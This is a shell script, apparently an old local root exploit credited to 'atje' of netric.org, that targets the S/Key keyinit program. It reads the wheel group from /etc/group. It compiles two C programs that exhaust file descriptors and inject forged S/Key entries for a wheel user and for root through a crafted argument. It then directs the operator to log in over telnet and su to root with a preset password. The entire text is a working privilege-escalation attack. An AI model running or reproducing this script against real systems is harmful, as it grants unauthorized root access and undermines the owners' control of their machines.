#!/bin/sh
# evelyne.sh - by atje - http://www.netric.org. 
# Yes i know this is lame...
export pass="FLUE A COOK HOVE DOUR SKY"
echo "Please hit ctrl-c twice..."
cat > /tmp/stage1 << EOF
open (PIPE, "cat /etc/group | grep wheel|");
\$wheel = <PIPE>;
close(PIPE);
@wheel = split(/,/, \$wheel);
print "\$wheel[1]\n";
EOF
export whl=`/usr/bin/perl /tmp/stage1`
cat > /tmp/stage2.c << EOF
#include <stdio.h>
int main() { while(dup(1) != -1); close(2);
execl("/usr/bin/keyinit", " \n$whl 0099 de09623          a17305b5b96bdcf9  Apr 22,2002 23:07:06\b\n#", 0);}
EOF
cat > /tmp/stage3.c << EOF
#include <stdio.h>
int main() { while(dup(1) != -1); close(2);
execl("/usr/bin/keyinit", " \nroot 0099 de09623          a17305b5b96bdcf9  Apr 22,2002 23:07:06\b\n#", 0);}
EOF
gcc -o /tmp/stage2 /tmp/stage2.c && /tmp/stage2 1> /dev/null
gcc -o /tmp/stage3 /tmp/stage3.c && /tmp/stage3 1> /dev/null
printf "\nnow login with user $whl and password $pass\n"
printf "after you're logged in you can su to root with the same password\n\n"
telnet -X SRA localhost
